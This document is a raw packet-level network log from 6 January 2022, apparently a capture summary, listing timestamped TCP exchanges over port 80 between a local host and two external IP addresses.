Jan 6, 2022 21:04:02.182602882 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.182626009 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182667017 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182677984 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.182706118 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182744980 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182784081 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182823896 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182830095 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.182837009 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.182862997 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182900906 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182938099 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182952881 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.182977915 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182980061 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.183015108 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.183053970 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.183059931 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.183092117 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.183134079 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.183175087 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.183212996 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.183218956 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.183228970 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.183253050 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.183295012 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.183332920 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.183372021 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.183376074 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.183382034 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.183409929 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.183449030 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.183490038 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.183526039 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.183531046 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.183540106 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.183566093 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.183604956 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.183779001 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.184472084 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.368751049 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.368799925 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.368835926 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.368923903 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.368990898 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.369029999 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.369065046 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.369082928 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.369102001 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.369115114 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.369141102 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.369177103 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.369211912 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.369246960 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.369263887 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.369275093 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.369301081 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.369328022 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.369354963 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.369380951 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.369405031 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.369407892 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.369414091 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.370186090 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.370208979 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.555211067 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:04.088923931 CET	49807	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:04.264352083 CET	80	49807	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:04.264986992 CET	49807	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:04.265089989 CET	49807	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:04.265101910 CET	49807	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:04.440607071 CET	80	49807	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:04.817389965 CET	80	49807	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:04.817559958 CET	49807	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:04.817738056 CET	49807	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:04.842849016 CET	49808	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:04.993194103 CET	80	49807	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:05.023705959 CET	80	49808	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:05.024013042 CET	49808	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:05.024076939 CET	49808	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:05.024086952 CET	49808	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:05.205024004 CET	80	49808	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:05.587758064 CET	80	49808	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:05.587955952 CET	49808	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:05.588095903 CET	49808	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:05.701529026 CET	49809	80	192.168.2.4	54.38.220.85
Jan 6, 2022 21:04:05.719440937 CET	80	49809	54.38.220.85	192.168.2.4
Jan 6, 2022 21:04:05.719564915 CET	49809	80	192.168.2.4	54.38.220.85
Jan 6, 2022 21:04:05.719651937 CET	49809	80	192.168.2.4	54.38.220.85
Jan 6, 2022 21:04:05.737586975 CET	80	49809	54.38.220.85	192.168.2.4
Jan 6, 2022 21:04:05.737627029 CET	80	49809	54.38.220.85	192.168.2.4
Jan 6, 2022 21:04:05.765389919 CET	49810	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:05.768712044 CET	80	49808	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:05.785484076 CET	49809	80	192.168.2.4	54.38.220.85
Jan 6, 2022 21:04:05.942903996 CET	80	49810	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:05.943056107 CET	49810	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:05.943239927 CET	49810	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:05.943267107 CET	49810	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:06.120446920 CET	80	49810	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:06.120474100 CET	80	49810	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:06.502775908 CET	80	49810	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:06.502964973 CET	49810	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:06.503060102 CET	49810	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:06.542166948 CET	49811	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:06.680229902 CET	80	49810	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:06.721343040 CET	80	49811	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:06.725625992 CET	49811	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:06.725724936 CET	49811	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:06.725740910 CET	49811	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:06.904871941 CET	80	49811	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:07.300678968 CET	80	49811	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:07.300770998 CET	49811	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:07.300818920 CET	49811	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:07.332900047 CET	49812	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:07.479945898 CET	80	49811	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:07.511568069 CET	80	49812	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:07.511718988 CET	49812	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:07.511940956 CET	49812	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:07.512007952 CET	49812	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:07.690476894 CET	80	49812	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:07.690511942 CET	80	49812	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:08.070584059 CET	80	49812	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:08.070723057 CET	49812	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:08.077651024 CET	49812	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:08.105882883 CET	49813	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:08.256066084 CET	80	49812	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:08.281457901 CET	80	49813	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:08.281656981 CET	49813	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:08.281691074 CET	49813	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:08.281697989 CET	49813	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:08.457990885 CET	80	49813	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:08.844367981 CET	80	49813	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:08.844662905 CET	49813	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:08.844691038 CET	49813	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:09.020982981 CET	80	49813	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:09.165575027 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:09.349062920 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:09.349208117 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:09.349282026 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:09.575030088 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:09.893450975 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:09.893512964 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:09.893562078 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:09.893599033 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:09.893613100 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:09.893663883 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:09.893692017 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:09.893712044 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:09.893762112 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:09.893820047 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:09.893848896 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:09.893877983 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:09.893903971 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:09.893930912 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:09.894493103 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.077208042 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077233076 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077249050 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077266932 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077286005 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077300072 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.077320099 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077334881 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077342033 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.077358961 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077374935 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077383041 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.077402115 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077406883 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.077423096 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077439070 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077445984 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.077461958 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077482939 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.077493906 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077512026 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077528000 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077549934 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.077580929 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.077791929 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077811003 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077828884 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077853918 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.077873945 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.077922106 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.260880947 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.260910988 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.260940075 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.260970116 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261027098 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261035919 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.261080027 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261080980 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.261111975 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261151075 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261157990 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.261181116 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261210918 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261213064 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.261240005 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261271000 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261301994 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261302948 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.261332035 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261343956 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.261363029 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261393070 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261395931 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.261423111 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261446953 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.261452913 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261482000 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261509895 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261539936 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.261539936 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261569023 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261595011 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.261600018 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261629105 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261630058 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.261657953 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261686087 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261698008 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.261715889 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261744976 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261759043 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.261774063 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261802912 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261816978 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.261835098 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261864901 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261872053 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.261893988 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261923075 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261929989 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.261954069 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.261981010 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.262010098 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.262015104 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.262041092 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.262047052 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.262069941 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.262096882 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.262100935 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.262171030 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.447146893 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447204113 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447243929 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447273016 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.447283983 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447323084 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447364092 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447380066 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.447405100 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447443008 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447483063 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447490931 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.447521925 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447560072 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447592974 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.447597980 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447604895 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.447638035 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447669983 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.447698116 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447738886 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447776079 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447788000 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.447814941 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447885036 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.447890997 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447948933 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.447977066 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.448009968 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448056936 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448092937 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.448093891 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448126078 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448164940 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448190928 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.448203087 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448237896 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.448240995 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448278904 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448317051 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448345900 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.448354006 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448383093 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.448393106 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448431969 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448470116 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448508978 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448542118 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.448546886 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448554039 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.448584080 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448616028 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.448621035 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448659897 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448698997 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448739052 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448771000 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.448775053 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448782921 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.448824883 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448894978 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.448914051 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.448967934 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.449007034 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.449044943 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.449067116 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.449080944 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.449084044 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.449120998 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.449158907 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.449186087 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.449219942 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.632545948 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.632601976 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.632642031 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.632672071 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.632682085 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.632721901 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.632735968 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.632761955 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.632802963 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.632869005 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.632874012 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.632915020 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.632919073 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.632958889 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.632996082 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633035898 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633043051 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.633075953 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633080959 CET	49814	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:10.633114100 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633152962 CET	80	49814	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:10.633192062 CET	80	49814	198.11.172.78	192.168.2.4
